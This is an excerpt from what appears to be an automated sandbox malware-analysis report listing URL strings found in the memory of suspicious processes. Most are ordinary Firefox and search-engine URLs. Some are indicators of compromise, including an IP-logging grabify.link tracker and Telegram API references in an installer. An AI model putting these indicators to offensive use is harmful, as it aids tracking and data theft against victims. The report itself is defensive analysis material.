Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000026.00000002.3686044474.000001FC3006D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3658097048.000001FC2DC80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Stale
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: configuredInstallerEXE.exe, 00000008.00000003.2881993442.00000272A101B000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881735285.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://core.telegram.org/api
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000026.00000002.3329290402.000001FC1DD30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3329290402.000001FC1DD11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A10BC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911656054.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911489902.00000272A10BF000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/other-hp
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/other-hpPersistent-AuthWWW-AuthenticateAccept-EncodingVaryNID=518
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsAdd
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3702682928.00000C4F15904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3318359258.0000014DA9704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000026.00000002.3353920953.000001FC29E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3277257578.000001FC2E2D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.enabledTypescr
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Received
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353920953.000001FC29EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703774134.00003EDD59E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comsqlite_temp_master
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: svchost.exe, 00000027.00000003.3253563869.000002592E4D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000027.00000003.3253563869.000002592E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000026.00000002.3383452794.000001FC2B203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowedtoolkit/main-wind
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com//
Source: configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/0L502C
Source: configuredInstallerEXE.exe, 00000008.00000003.2911738024.0000000180035000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/0L502CInstallFromUser
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/0L502Cqr
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link/0L502Cr
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.link:443/0L502C
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881993442.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912983056.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/
